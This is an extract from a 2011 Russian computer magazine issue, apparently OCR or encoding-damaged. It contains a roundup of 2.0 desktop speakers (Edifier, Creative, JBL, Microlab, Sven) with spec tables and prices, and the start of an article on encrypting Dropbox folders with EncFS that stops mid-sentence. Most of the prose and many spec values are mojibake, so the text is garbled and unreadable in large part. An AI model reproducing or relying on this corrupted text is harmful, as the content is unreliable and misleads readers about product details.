 ÄÑÏÍËÏÒÓÉ É ÓÆÍÂÑÁ.

XÀÊÅÐ  08  /151/  2011

Технические характеристики:
ФОРМАТ: 2.0
ДОПОЛНИТЕЛЬНЫЕ ВХОДЫ: AUX
ДОПОЛНИТЕЛЬНЫЕ ВЫХОДЫ: ÎÆÓ
МОЩНОСТЬ: 2Ö25 £Ó RMS
ОТНОШЕНИЕ СИГНАЛ/ШУМ: 85 Å¢
БЛОК ПИТАНИЯ: ÃÒÓÑÏÆÎÎÜÊ
МАТЕРИАЛ КОРПУСОВ: ÅÆÑÆÃÏ
ГАБАРИТЫ: 320Ö253Ö196 ÍÍ (¡²), 223Ö218Ö72 (ÔÒÉÌÉÓÆÌÝ)

Edifier C200

Технические характеристики:
ФОРМАТ:  2.0
ДОПОЛНИТЕЛЬНЫЕ ВХОДЫ: AUX, ÑÁÈÛÆÍ ÅÌà ÅÏË-ÒÓÁÎ×ÉÉ X-30
ДОПОЛНИТЕЛЬНЫЕ ВЫХОДЫ: ÎÁ ÎÁÔÙÎÉËÉ
МОЩНОСТЬ: 2Ö16 £Ó RMS
ОТНОШЕНИЕ СИГНАЛ/ШУМ: 80 Å¢
БЛОК ПИТАНИЯ: ÃÎÆÙÎÉÊ
МАТЕРИАЛ КОРПУСОВ: ÐÌÁÒÓÉË
ГАБАРИТЫ:  325Ö180Ö90 ÍÍ

Creative Gigaworks 
T40 series II

4670 ðóá.3900 ðóá.
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3800 ðóá. 5850 ðóá.

¡ËÔÒÓÉØÆÒËÉÆ ÒÉÒÓÆÍÜ R2000T ÖÏÓÝ É ÎÆ ÒÁÍÜÆ ËÑÔÐÎÜÆ Ã ÞÓÏÍ ÓÆÒÓÆ, ÎÏ 
ÉÍÆßÓ ÃÒÆ ÇÆ ÏÓÎÏÒÉÓÆÌÝÎÏ ÐÑÉÌÉØÎÜÆ ÄÁÂÁÑÉÓÜ, ÓÁË ØÓÏ Ë ÃÜÂÏÑÔ ÍÆÒÓÁ 
ÅÌà ÉÖ ÔÒÓÁÎÏÃËÉ ÎÔÇÎÏ ÏÓÎÆÒÓÉÒÝ Ò ÅÏÌÇÎÜÍ ÃÎÉÍÁÎÉÆÍ. ¬ÔØÙÆ ÎÁÊÓÉ 
ÉÍ ÍÆÒÓÏ ÎÁ ÒÓÏÌÆ, ÐÏÓÏÍÔ ËÁË ÑÆÄÔÌàÓÏÑ ÄÑÏÍËÏÒÓÉ É ÑÆÄÔÌàÓÏÑÜ ÓÆÍÂÑÁ 
ÑÁÒÐÏÌÏÇÆÎÜ ÎÁ ÂÏËÏÃÏÊ ÐÁÎÆÌÉ ÏÅÎÏÊ ÉÈ ËÏÌÏÎÏË. ±ÔØËÉ ÔÓÏÐÌÆÎÜ Ã 
ËÏÑÐÔÒ, ÓÁË ØÓÏ ÍÆÙÁÓÝÒà, Ã ÒÌÔØÁÆ ØÆÄÏ, ÎÆ ÂÔÅÔÓ. ÁÓÆÑÉÁÌ ËÏÑÐÔÒÏÃ — 
ÓÏÌÒÓÜÊ ¥µ, ÉÒËÌßØÁßÚÉÊ ÃÉÂÑÁ×ÉÉ ÒÓÆÎÏË ÅÁÇÆ ÎÁ ÐÑÉÌÉØÎÏÊ ÄÑÏÍ-
ËÏÒÓÉ. ¾ÓÏ, ËÒÓÁÓÉ, ÅÏÃÏÌÝÎÏ ËÑÉÓÉØÎÏ, ÐÏÓÏÍÔ ËÁË ÃÉÂÑÉÑÔßÚÉÆ ÒÓÆÎËÉ 
— ÎÆ ØÓÏ ÉÎÏÆ, ËÁË ÉÒÓÏØÎÉË ÐÏÒÓÏÑÏÎÎÉÖ ÐÑÉÈÃÔËÏÃ. ¥ÉÎÁÍÉËÉ Ã ÞÓÏÊ 
ÁËÔÒÓÉËÆ ÐÑÉÍÆÎÆÎÜ ÓÏØÎÏ ÓÁËÉÆ ÇÆ, ØÓÏ É Ã ²200. ¥ÉÕÕÔÈÏÑÜ 6,5-ÅßÊ-
ÍÏÃÜÖ ÂÁÒÏÃÉËÏÃ ÉÈÄÏÓÏÃÌÆÎÜ ÉÈ ×ÆÌÌßÌÏÈÜ Ò ÈÁÚÉÓÎÏÊ ÐÑÏÐÉÓËÏÊ, 
ÏÅÎÏÄÏ ÉÈ ÐÑÉÈÎÁÎÎÜÖ «ÁÔÅÉÏÕÉÌÝÒËÉÖ» ÍÁÓÆÑÉÁÌÏÃ. ©ÈÌÔØÁßÚÉÆ 
ÍÆÍÂÑÁÎÜ ÓÃÉÓÆÑÏÃ ÓËÁÎÆÃÜÆ.
¨ÃÔØÁÎÉÆ R2000T ÁÂÒÏÌßÓÎÏ ÎÆÎÁÐÑàÇÎÏÆ É ÐÏÅÖÏÅÉÓ ÅÌà ÌßÂÜÖ ÒÉÓÔ-
Á×ÉÊ É ÇÁÎÑÏÃ, ÂÔÅÝ ÓÏ ÕÏÎÏÃÁà ÌÆÄËÁà ÍÔÈÜËÁ, ÕÉÌÝÍÜ, ÉÄÑÜ ÉÌÉ ÅÁÇÆ 
ÅÏÍÁÙÎÉÆ ÃÆØÆÑÉÎËÉ. ¾ÌÆËÓÑÏÎÎÁà ÍÔÈÜËÁ ÅÁÆÓÒà ËÏÌÏÎËÁÍ ÏÒÏÂÆÎÎÏ 
ÖÏÑÏÙÏ.

¬ «ÁØÆÒÓÃÆÎÎÜÆ ËÏÑÐÔÒÁ.
¬ ¥ÏÒÓÏÊÎÏÆ ÈÃÔØÁÎÉÆ.

Технические характеристики:
ФОРМАТ: 2.0
ДОПОЛНИТЕЛЬНЫЕ ВХОДЫ: ÅÔÂÌÉÑÔßÚÉÊ
ДОПОЛНИТЕЛЬНЫЕ ВЫХОДЫ: ÎÆÓ
МОЩНОСТЬ: 2Ö30 £Ó RMS
ОТНОШЕНИЕ СИГНАЛ/ШУМ: 95 Å¢
БЛОК ПИТАНИЯ: ÃÒÓÑÏÆÎÎÜÊ
МАТЕРИАЛ КОРПУСОВ: ÅÆÑÆÃÏ
ГАБАРИТЫ: 320Ö253x196 ÍÍ

Edifier R2000T
Технические характеристики:
ФОРМАТ: 2.0
ДОПОЛНИТЕЛЬНЫЕ ВХОДЫ: ÎÆÓ
ДОПОЛНИТЕЛЬНЫЕ ВЫХОДЫ: ÎÆÓ
МОЩНОСТЬ: 2Ö10 £Ó RMS
ОТНОШЕНИЕ СИГНАЛ/ШУМ: 70 Å¢
БЛОК ПИТАНИЯ: ÃÎÆÙÎÉÊ
МАТЕРИАЛ КОРПУСОВ: ÐÌÁÒÓÉË
ГАБАРИТЫ: 304Ö117Ö117 ÍÍ

JBL Duet III

¤ÌÁÃÎÁà ÕÉÙËÁ ÁËÔÒÓÉØÆÒËÉÖ ÒÉÒÓÆÍ ÏÓ Harman/Kardon — ÎÆÏÂÜØÎÜÊ 
ÃÎÆÙÎÉÊ ÃÉÅ. ¥ÉÈÁÊÎ ÞÓÉÖ ÒÆÑÆÂÑÉÒÓÜÖ «ÂÏÍÂÏØÆË» ÎÁÃÆÑÎàËÁ ÐÑÉÅÆÓÒà 
ÐÏ ÅÔÙÆ ÌßÂÉÓÆÌàÍ ÃÒàËÉÖ ÙÓÔØÆË Ã ÒÓÉÌÆ ÖÁÊ-ÓÆË. °ÏÅ ÈÁÚÉÓÎÜÍÉ 
ÒÆÓËÁÍÉ ËÁÇÅÏÊ ËÏÌÏÎËÉ ÒËÑÜÃÁßÓÒà ÐÏ ÏÅÎÏÍÔ ÒÏÃÒÆÍ ÎÆÂÏÌÝÙÏÍÔ 
ÅÉÎÁÍÉËÔ (ÅÉÁÍÆÓÑÏÍ ÃÒÆÄÏ 4 ÒÍ) Ò ÍÆÓÁÌÌÉØÆÒËÉÍÉ ÅÉÕÕÔÈÏÑÁÍÉ ÒÕÆ-
ÑÉØÆÒËÏÊ ÕÏÑÍÜ. ̄ ÎÉ ÏÓÃÆØÁßÓ ÈÁ ÃÏÒÐÑÏÉÈÃÆÅÆÎÉÆ ÃÒÆÄÏ ØÁÒÓÏÓÎÏÄÏ 
ÅÉÁÐÁÈÏÎÁ ÑÁÈÏÍ. ¥Ìà ÓÏÄÏ ØÓÏÂÜ ÏÂÆÒÐÆØÉÓÝ ÁÅÆËÃÁÓÎÏÆ ÈÃÔØÁÎÉÆ ÂÁÒÁ 
ÏÓ ÒÓÏÌÝ ÍÁÌÏÄÏ ÉÈÌÔØÁÓÆÌà, ÎÁ ÓÜÌÝÎÔß ÒÓÏÑÏÎÔ ËÏÑÐÔÒÏÃ ÃÜÃÆÅÆÎÜ 
ÐÏÑÓÜ ÕÁÈÏÉÎÃÆÑÓÏÑÏÃ Ò ÐÆÑÆÍÆÎÎÜÍ ÒÆØÆÎÉÆÍ. £ ÞÓÏÊ ÁËÔÒÓÉËÆ ÏÎÉ 
ÒÅÆÌÁÎÜ ÎÆ ÐÑÏÒÓÏ «ÅÌà ÄÁÌÏØËÉ», Á ÑÆÁÌÝÎÏ ÏÂÆÒÐÆØÉÃÁßÓ ÁËÔÒÓÉØÆÒ-
ËÏÆ ÔÒÉÌÆÎÉÆ ÎÉÈËÉÖ ØÁÒÓÏÓ. ¦ÅÉÎÒÓÃÆÎÎÜÊ ÑÆÄÔÌàÓÏÑ, ËÏÓÏÑÜÊ ÆÒÓÝ ÎÁ 
ËÏÑÐÔÒÆ — ÞÓÏ ÑÆÄÔÌàÓÏÑ ÄÑÏÍËÏÒÓÉ. ®Æ ÃÒàËÉÊ ÎÁÊÅÆÓ ÆÄÏ ÒÑÁÈÔ — ÑÏÌÝ 
«ËÑÔÓÉÌËÉ» ÃÜÐÏÌÎàÆÓ ÃÆÑÖÎÉÊ ËÑÔÄÌàÙ ÏÅÎÏÊ ÉÈ ËÏÌÏÎÏË.
¥Ìà ÒÃÏÉÖ ÑÁÈÍÆÑÏÃ ÞÓÁ ÁËÔÒÓÉËÁ ÎÆÐÌÏÖÏ ÂÁÒÉÓ, É ÐÑÉ ÞÓÏÍ ÂÆÈ ËÁËÏÄÏ-
ÌÉÂÏ ÄÔÅÆÎÉà ÎÁ ÎÉÈËÉÖ ØÁÒÓÏÓÁÖ. ̈ ÃÔË, ËÏÎÆØÎÏ, ÎÆ ËÁË ÎÁ ÍÆÄÁËÏÎ×ÆÑÓÆ, 
ÎÏ ÐÏÒÌÔÙÁÓÝ ÞÌÆËÓÑÏÎÎÔß ÍÔÈÜËÔ ÉÌÉ ÐÏÒÍÏÓÑÆÓÝ ËÉÎÏÙËÔ ÏØÆÎÝ ÅÁÇÆ 
ÍÏÇÎÏ. ²ÆÑÆÅÉÎËÁ É ÃÆÑÖÁ ÎÆ ÒÁÍÜÆ ÎÁÓÔÑÁÌÝÎÜÆ, ÎÏ, Ã ÏÂÚÆÍ, ÅÏÃÏÌÝÎÏ 
ÎÆÎÁÐÑàÇÎÜÆ, É ÐÑÉ ÅÏÌÄÏÍ ÐÑÏÒÌÔÙÉÃÁÎÉÉ ÔÓÏÍÌÆÎÉà ÎÆ ÃÜÈÜÃÁßÓ.

¬ ̄ ÑÉÄÉÎÁÌÝÎÜÊ ÃÎÆÙÎÉÊ ÃÉÅ, ËÏÍÐÁËÓÎÏÒÓÝ.

- ®ÆÓ ÑÆÄÔÌàÓÏÑÏÃ ÓÆÍÂÑÁ.

- £ÜÒÏËÏÃÁÓÁ ×ÆÎÁ.
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3900 ðóá.

Технические характеристики:
ФОРМАТ: 2.0
ДОПОЛНИТЕЛЬНЫЕ ВХОДЫ: ÅÔÂÌÉÑÔßÚÉÊ
ДОПОЛНИТЕЛЬНЫЕ ВЫХОДЫ: ÎÆÓ
МОЩНОСТЬ: 2Ö40 £Ó RMS
ОТНОШЕНИЕ СИГНАЛ/ШУМ: 80 Å¢
БЛОК ПИТАНИЯ: ÃÒÓÑÏÆÎÎÜÊ
МАТЕРИАЛ КОРПУСОВ: ÅÆÑÆÃÏ
ГАБАРИТЫ: 315Ö238Ö168 ÍÍ

Microlab Solo 15

°ÏÒÓÁÃÉÃ ÞÓÔ ÁËÔÒÓÉËÔ ÒÆÂÆ ÎÁ ÒÓÏÌ, ÓÜ ÒÍÏÇÆÙÝ Ò ÄÏÑÅÏÒÓÝß ÐÏËÁÈÜÃÁÓÝ 
ÆÆ ÒÃÏÉÍ ÅÑÔÈÝàÍ. ¤ÌàÎ×ÆÃÜÆ ÐÏÃÆÑÖÎÏÒÓÉ ÐÆÑÆÅÎÉÖ ÐÁÎÆÌÆÊ ÃÜÄÌà-
ÅàÓ ÐÑÏÒÓÏ ÙÉËÁÑÎÏ, Á ÓÏØÆÎÜÆ ÕÌÁÎ×Ü ÓÃÉÓÆÑÏÃ ÒÍÏÓÑàÓÒà ÎÁ ÎÉÖ ËÁË 
ÎÉËÏÄÅÁ ÔÍÆÒÓÎÏ. ®ÉËÁËÉÖ ÈÁÚÉÓÎÜÖ ÄÑÉÌÆÊ ÓÔÓ ÎÆÓ, ÎÏ, ÓÆÍ ÎÆ ÍÆÎÆÆ, 
ÅÉÎÁÍÉËÉ ÃÒÆ ÇÆ ÈÁÚÉÚÆÎÜ: ÎÁ 13-ÒÁÎÓÉÍÆÓÑÏÃÜÖ ÂÁÒÏÃÉËÁÖ ÎÁÓàÎÔÓÁ 
ÐÏÌÔÐÑÏÈÑÁØÎÁà ÒÆÓËÁ, Á ÍÆÖÁÎÉØÆÒËÏÊ ÈÁÚÉÓÏÊ ÃÜÒÏËÏØÁÒÓÏÓÎÉËÁ ÒÌÔ-
ÇÉÓ ÎÆÂÏÌÝÙÁà ÅÆËÏÑÁÓÉÃÎÁà ÅÔÇËÁ. ±ÆÄÔÌàÓÏÑ ÄÑÏÍËÏÒÓÉ ÑÁÒÐÏÌÏÇÆÎ ÎÁ 
ÂÏËÏÃÏÊ ÒÓÆÎËÆ, ÎÏ ÑÔØËÁ ÔÓÏÐÌÆÎÁ, ÓÁË ØÓÏ ÍÆÙÁÓÝÒà ÎÆ ÂÔÅÆÓ. ±ÆÄÔÌàÓÏ-
ÑÜ ÓÆÍÂÑÁ ÔÂÑÁÎÜ ÎÁ ÓÜÌÏÃÔß ÒÓÆÎËÔ ËÏÑÐÔÒÁ: ÐÑÏÉÈÃÏÅÉÓÆÌÝ, ÃÉÅÉÍÏ, 
ÐÏÒØÉÓÁÌ, ØÓÏ ÎÆØÆÄÏ ÉÖ ÅÆÑÄÁÓÝ ÐÏÒÓÏàÎÎÏ — ÏÅÉÎ ÑÁÈ ÏÓÑÆÄÔÌÉÑÏÃÁÌ É 
ÈÁÂÜÌ.
¨ÃÔË ÞÓÏÊ ÁËÔÒÓÉËÉ ÏØÆÎÝ ÖÏÑÏÙ: ÏÓËÑÜÓÜÆ É ØÉÒÓÜÆ ÒÑÆÅÎÉÆ É ÃÆÑÖÎÉÆ 
ØÁÒÓÏÓÜ; ÔÐÑÔÄÉÊ, ÒÏØÎÜÊ É ÃÉÂÑÉÑÔßÚÉÊ ÂÁÒ, ÎÆ ÓÆÑàßÚÉÊÒà ÎÁ ÍÁÌÏÊ 
ÄÑÏÍËÏÒÓÉ É ÎÆ ÔÖÏÅàÚÉÊ Ã ÐÆÑÆÄÑÔÈ ÎÁ ÂÏÌÝÙÏÊ; ÎÆÐÌÏÖÁà ÅÆÓÁÌÝÎÏÒÓÝ, 
ÐÏÈÃÏÌàßÚÁà ÂÆÈ ÎÁÐÑàÇÆÎÉà ÒÌÜÙÁÓÝ ÓÏÎËÉÆ ÎßÁÎÒÜ ÈÎÁËÏÍÜÖ ÓÑÆËÏÃ. 
²ÁÍÏÆ ×ÆÎÎÏÆ, ØÓÏ ÈÃÔØÁÎÉÆ Solo 15 ÎÆ ÔÓÏÍÌàÆÓ ÅÁÇÆ ÐÑÉ ÅÌÉÓÆÌÝÎÏÍ 
ÐÑÏÒÌÔÙÉÃÁÎÉÉ. ¡ËÔÒÓÉËÁ ÌÆÄËÏ ÏÓÜÄÑÜÃÁÆÓ ÌßÂÜÆ ÇÁÎÑÜ ÏÓ ÔÅÁÑÎÏÄÏ 
ËÌÔÂÁ ÅÏ ÁÄÑÆÒÒÉÃÎÏÄÏ ÑÏËÁ ÉÌÉ ÌÆÄËÏÄÏ ÉÎÒÓÑÔÍÆÎÓÁÌÁ, ÐÑÉØÆÍ ÎÁ ÌßÂÏÊ 
ÄÑÏÍËÏÒÓÉ.

¬  ËÁØÆÒÓÃÆÎÎÜÊ ÈÃÔË, ÒÉÍÐÁÓÉØÎÜÊ ÃÎÆÙÎÉÊ ÃÉÅ

- ÎÁ ÄÌàÎ×ÆÃÏÊ ÐÏÃÆÑÖÎÏÒÓÉ ÍÏÄÔÓ ÏÒÓÁÃÁÓÝÒà ÏÓÐÆØÁÓËÉ ÐÁÌÝ×ÆÃ

Технические характеристики:
ФОРМАТ: 2.0
ДОПОЛНИТЕЛЬНЫЕ ВХОДЫ: ÅÔÂÌÉÑÔßÚÉÊ ÃÖÏÅ
ДОПОЛНИТЕЛЬНЫЕ ВЫХОДЫ: ÎÁ ÎÁÔÙÎÉËÉ
МОЩНОСТЬ: 2Ö60 £Ó RMS
ОТНОШЕНИЕ СИГНАЛ/ШУМ: Î/Å
БЛОК ПИТАНИЯ: ÃÒÓÑÏÆÎÎÜÊ
МАТЕРИАЛ КОРПУСОВ: ÅÆÑÆÃÏ
ГАБАРИТЫ: 360Ö255Ö255 ÍÍ

Sven Stream 
Mega

Üñç ßéòðñçöäðéçä ðçðñäëú îí ðáíçë ïßæëäïßë àêçåä é éêßððçöäðéçë «îí-

êíöìçéßë» ãíëß÷ìäâí Hi-Fi, öäë é éíëîûýñäïìúë «ìßðñíêûìçéßë». Ç ñäë 

ìä ëäìää, îïíçæáíãçñäêû þáìí îíæçõçíìçïòäñ çô ãêþ òðñßìíáéç çëäììí 

ìß ðñíê — ïäâòêþñíïú âïíëéíðñç ç ñäëàïß ç ïßæùäë mini-jack-áúôíãß ìß 

ìßò÷ìçéç ïßðîíêíåäìú ìß êçõäáíè îßìäêç. Éíïîòðß áúîíêìäìú çæ ËÃÓ, 

îíéïúñçä îíã àêßâíïíãìúè ñäëìúè ÷îíì îïçãßäñ çë ðíêçãìíðñç ç äøä 

àíêû÷ä ïíãìçñ ð ãíïíâíè ãíëß÷ìäè ñäôìçéíè. Îíã ðùäëìúëç æßøçñìúëç 

âïçêþëç íñéïúáßýñðþ îíêìíõäììúä 6,5-ãýèëíáúä àßðíáúä ãçìßëçéç. Çô 

ãçóóòæíïú áúîíêìäìú çæ õäêêýêíæú ð æßøçñìúë îíéïúñçäë. Æìßñíéç 

íðíàí õäìþñ üñíñ ëßñäïçßê æß íñðòñðñáçä ò ìäâí îßïßæçñìúô îïçæáòéíá ç, 

éßé ðêäãðñáçä, áíæëíåìíðñû îíêòöçñû àíêää îïßáçêûìíä æáòößìçä. Ñáçñä-

ïú çëäýñ ëþâéçä ñéßìäáúä ëäëàïßìú. 

Á îêßìä æáòéß Stream Mega ëíåìí ìßæáßñû òìçáäïðßêûìúëç. Ðäïäãçìéß ç 

áäïôß áíðîïíçæáíãþñðþ ôíñû ç ìä ìß ßòãçíóçêûðéíë òïíáìä, ìí ãíáíêûìí 

ïíáìí ç éíëóíïñìí. ¿éòðñçéß ìä æßàçïßäñðþ âêòàíéí áìçæ îí ößðñíñä, ìí 

îêíñìúè òãßïìúè àßð éêòàìíè ëòæúéç îäïäãßäñ çâïßýöç (íðíàäììí, äðêç 

îíéíêãíáßñû ð üéáßêßèæäïíë îïíâïßëëìíâí îêääïß), ç é ñíëò åä çëääñ ìä-

ãòïìíè æßîßð îí âïíëéíðñç. Ñßé öñí ãêþ êýàçñäêäè ãíëß÷ìçô áäöäïçìíé 

üñíñ éíëîêäéñ — ðßëíä ñí.

¬  ²ÏÌÉÅÎÜÊ ÃÎÆÙÎÉÊ ÃÉÅ.
¬  °ÑÉÌÉØÎÜÊ ÈÁÐÁÒ ÎÆÉÒËÁÇÆÎÎÏÊ ÄÑÏÍËÏÒÓÉ.

- ¤ÁÂÁÑÉÓÜ ÐÏÈÃÏÌàÓ ÐÏÒÓÁÃÉÓÝ ÉÖ ÅÁÌÆËÏ ÎÆ ÎÁ ËÁÇÅÜÊ ÒÓÏÌ.

3960 ðóá.
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PC_ZONE

 024

Øèôðîâàíèå 
äëÿ Dropbox

  Ïîëüçîâàòåëè Dropbox ñîõðàíÿþò ìèëëèîí ôàéëîâ êàæäûå 5 
ìèíóò. Âñåãî ñåðâèñîì ïîëüçóþòñÿ 25 ìèëëèîíîâ ÷åëîâåê. Ïðè ýòîì 
ñîçäàòåëè íå ãàðàíòèðóþò íåïðèêîñíîâåííîñòü òâîèõ äàííûõ, à 
ñèñòåìà àóòåíòèôèêàöèè óæå äàâàëà ñáîé.

Dropbox: ñèíõðîíèçàöèÿ 
ôàéëîâ — ïðîñòî, íî íåáåçîïàñíî

Предыстория
¥ÆÃàÓÎÁÅ×ÁÓÏÄÏ ÉßÎà Dropbox ÔÒÓÑÏÉÌ ÒÃÏÆÏÂÑÁÈÎÜÊ «ÅÆÎÝ ÏÓËÑÜ-
ÓÜÖ ÅÃÆÑÆÊ». £ ÓÆØÆÎÉÆ 4 ØÁÒÏÃ ËÓÏ ÔÄÏÅÎÏ ÍÏÄ ÈÁÊÓÉ Ã ØÔÇÏÊ ÁËËÁÔÎÓ 
Ò ÐÏÍÏÚÝß ÐÑÏÉÈÃÏÌÝÎÏÄÏ ÐÁÑÏÌà. ²ÏÈÅÁÓÆÌÉ ÒÆÑÃÉÒÁ, ÃÏÈÍÏÇÎÏ, 
ÅÁÇÆ É ÎÆ ÈÁÍÆÓÉÌÉ ÂÜ ÐÑÏÂÌÆÍÜ, ÆÒÌÉ ÂÜ ÉÎÕÏÑÍÁ×Éß ÏÂ ÔàÈÃÉÍÏ-
ÒÓÉ ÎÆ ÏÐÔÂÌÉËÏÃÁÌ ÎÆÈÁÃÉÒÉÍÜÊ security-ÉÒÒÌÆÅÏÃÁÓÆÌÝ (pastebin.
com/yBKwDY6T). ̈ Á ÐÏÒÌÆÅÎÆÆ ÃÑÆÍà ÞÓÏ ÔÇÆ ÎÆ ÐÆÑÃÁà ÚÆËÏÓÌÉÃÁà 
ÉÒÓÏÑÉà, ÒÃàÈÁÎÎÁà Ò ÂÆÈÏÐÁÒÎÏÒÓÝß ÕÁÊÌÏÃ, ËÏÓÏÑÜÆ ÐÏÌÝÈÏÃÁÓÆÌÉ 
ÒÏ ÃÒÆÄÏ ÍÉÑÁ ÓÁË ÏÖÏÓÎÏ ÅÏÃÆÑàßÓ ÏÂÌÁØÎÏÍÔ ÖÑÁÎÉÌÉÚÔ Dropbox. 
³ÔÓ ÎÁÅÏ ÎÁÐÏÍÎÉÓÝ, ØÓÏ Ò ÒÁÍÏÄÏ ÎÁØÁÌÁ ÒÔÚÆÒÓÃÏÃÁÎÉà ÒÆÑÃÉÒÁ 
ÑÁÈÑÁÂÏÓØÉËÉ ÈÁÃÆÑàÌÉ ÐÏÌÝÈÏÃÁÓÆÌÆÊ, ØÓÏ ÏÓÃÆÓÒÓÃÆÎÎÏ ÐÏÅÖÏÅàÓ Ë 
ÂÆÈÏÐÁÒÎÏÒÓÉ ÅÁÎÎÜÖ. ³ÁË, ÃÒÆ ÕÁÊÌÜ ÃÏ ÃÑÆÍà ÒÉÎÖÑÏÎÉÈÁ×ÉÉ ÐÆÑÆ-
ÅÁßÓÒà ÉÒËÌßØÉÓÆÌÝÎÏ ÐÏ ÈÁÚÉÚÆÎÎÏÍÔ SSL-ÒÏÆÅÉÎÆÎÉß, Á ÖÑÁÎàÓ-
Òà ÎÁ ÒÆÑÃÆÑÆ Ã ÈÁÙÉÕÑÏÃÁÎÎÏÍ ÃÉÅÆ (AES-256). ©ÈÍÆÎÉÃ ÎÆÅÁÃÎÏ 
ÐÏÌÝÈÏÃÁÓÆÌÝÒËÏÆ ÒÏÄÌÁÙÆÎÉÆ, ÓÆ ÇÆ ÒÁÍÜÆ ÌßÅÉ ÎÆÅÃÔÒÍÜÒÌÆÎÎÏ 
ÅÁÌÉ ÐÏÎàÓÝ, ØÓÏ ÌÉÙÝ ÏÄÑÁÎÉØÉÃÁßÓ ÅÏÒÓÔÐ Ë ÕÁÊÌÁÍ ÅÌà ÒÃÏÉÖ ÒÏ-
ÓÑÔÅÎÉËÏÃ, ÎÏ ÐÑÉ ÐÏàÃÌÆÎÉÉ ÎÆÏÂÖÏÅÉÍÏÒÓÉ, Ã ÓÏÍ ØÉÒÌÆ ÐÏ ÈÁÐÑÏÒÔ 
ÐÑÁÃÏÏÖÑÁÎÉÓÆÌÝÎÜÖ ÏÑÄÁÎÏÃ, Dropbox ÎÆÐÑÆÍÆÎÎÏ ÐÑÆÅÏÒÓÁÃÉÓ 
ÅÏÒÓÔÐ Ë ÁËËÁÔÎÓÔ ÌßÂÏÄÏ ßÈÆÑÁ. £ÏÓ ÓÁËÏÆ ÙÉÕÑÏÃÁÎÉÆ.
À ÎÆ ÐÁÑÁÎÏÉË É ÒËÑÜÃÁÓÝ ÍÎÆ, Ã ÏÂÚÆÍ-ÓÏ, ÎÆØÆÄÏ, ÎÏ ÏÓËÑÜÃÁÓÝ 
ËÏÍÔ-ÌÉÂÏ ÒÃÏÉ ÌÉØÎÜÆ ÕÁÊÌÜ ÍÎÆ ÒÏÃÆÑÙÆÎÎÏ ÎÆ ÖÏØÆÓÒà. « ÓÏÍÔ ÇÆ 
à ÃÒÆÄÅÁ ÂÜÌ ÎÆ Ã ÃÏÒÓÏÑÄÆ ÏÓ ÓÏÄÏ, ØÓÏ ÅÁÎÎÜÆ Ã ÏÓËÑÜÓÏÍ ÃÉÅÆ ÌÆÇÁÓ 

ÎÁ ËÁÇÅÏÍ ËÏÍÐÝßÓÆÑÆ, ËÏÓÏÑÜÊ ÈÁÒÉÎÖÑÏÎÉÈÉÑÏÃÁÎ Ò ÍÏÉÍ ÁËËÁÔÎ-
ÓÏÍ Dropbox. ²ÁÍÏÆ ÃÑÆÍà ÃÒÆ ÞÓÏ ÂÆÈÏÂÑÁÈÉÆ ÐÏÐÑÁÃÉÓÝ.

Поднимаем EncFS
²ÐÑÁÃÆÅÌÉÃÏÒÓÉ ÑÁÅÉ ÒÓÏÉÓ ÒËÁÈÁÓÝ, ØÓÏ Ô ÒÆÑÃÉÒÁ ÆÒÓÝ ÏÕÉ×ÉÁÌÝ-
ÎÜÊ wiki (wiki.dropbox.com), ÄÅÆ ÐÑÉÃÆÅÆÎÜ ËÏÎËÑÆÓÎÜÆ ÒÏÃÆÓÜ ÐÏ 
ÓßÎÉÎÄÔ ÂÆÈÏÐÁÒÎÏÒÓÉ. §ÆÌÆÈÏÂÆÓÏÎÎÁà ÐÑÁÃÅÁ ÈÁËÌßØÁÆÓÒà Ã ÓÏÍ, 
ØÓÏ ÅÁÎÎÜÆ ÎÆÏÂÖÏÅÉÍÏ ÙÉÕÑÏÃÁÓÝ ÎÁ ÌÏËÁÌÝÎÏÊ ÍÁÙÉÎÆ, Á Ã ÏÂÌÁËÏ 
ÉÖ ÐÆÑÆÅÁÃÁÓÝ ÔÇÆ Ã ÈÁËÑÉÐÓÏÃÁÎÎÏÍ ÃÉÅÆ. £ ØÁÒÓÎÏÒÓÉ, ÐÑÆÅÌÁÄÁÆÓÒà 
ÑÁÈÍÆÒÓÉÓÝ Ã ÐÁÐËÆ Dropbox’Á ËÏÎÓÆÊÎÆÑ TrueCrypt ÉÌÉ FreeOTFE É 
ÔÇÆ ÃÎÔÓÑÉ ÎÆÄÏ ÖÑÁÎÉÓÝ ÃÒÆ ËÏÎÕÉÅÆÎ×ÉÁÌÝÎÜÆ ÅÏËÔÍÆÎÓÜ. ÆÓÏÅ 
ÅÆÊÒÓÃÆÎÎÜÊ — ÎÆ ÐÏÒÐÏÑÉÙÝ: ÅÁÇÆ ÆÒÌÉ ÁËËÁÔÎÓ ÂÔÅÆÓ ÒËÏÍÐÑÏÍÆ-
ÓÉÑÏÃÁÎ, ÈÌÏÔÍÜÙÌÆÎÎÉË ÎÆ ÒÍÏÇÆÓ ÑÁÒÙÉÕÑÏÃÁÓÝ ÅÁÎÎÜÆ. © ÃÒÆ ÂÜ 
ÂÜÌÏ ÖÏÑÏÙÏ, ÆÒÌÉ ÎÆ ÏÅÎÏ «ÎÏ». °ÑÉ ÓÁËÏÍ ÐÏÅÖÏÅÆ ÍÏÇÎÏ ÈÁÂÜÓÝ Ï 
ÑÁ×ÉÏÎÁÌÝÎÏÊ ÒÉÎÖÑÏÎÉÈÁ×ÉÉ ÕÁÊÌÏÃ: ÐÑÉ ÉÈÍÆÎÆÎÉÉ ÌßÂÏÄÏ ÅÏ-
ËÔÍÆÎÓÁ ÂÔÅÆÓ ÒÉÎÖÑÏÎÉÈÉÑÏÃÁÓÝÒà ÃÆÒÝ ËÑÉÐÓÏËÏÎÓÆÊÎÆÑ ×ÆÌÉËÏÍ, 
ËÁËÏÄÏ ÂÜ ÑÁÈÍÆÑÁ ÏÎ ÎÉ ÂÜÌ (ÎÁÐÑÉÍÆÑ, 1 ¤Â). « ÓÏÍÔ ÇÆ, Ã ÞÓÏÍ ÒÌÔØÁÆ 
ÓÆÑàÆÓÒà ÃÁÇÎÁà ÏÐ×Éà Dropbox’Á, ÐÏÈÃÏÌàßÚÁà ÏÓËÁÓÉÓÝ ÌßÂÜÆ ÉÈ-
ÍÆÎÆÎÉà É ÃÆÑÎÔÓÝÒà Ë ÐÑÏÉÈÃÏÌÝÎÏÊ ÃÆÑÒÉÉ ÕÁÊÌÁ. « ÒØÁÒÓÝß, ÂÏÌÆÆ 
ÉÈàÚÎÏÆ ÑÆÙÆÎÉÆ ÐÑÆÅÌÁÄÁÆÓÒà ÃÒÆ Ã ÓÏÍ ÇÆ wiki — ÉÒÐÏÌÝÈÏÃÁÓÝ 
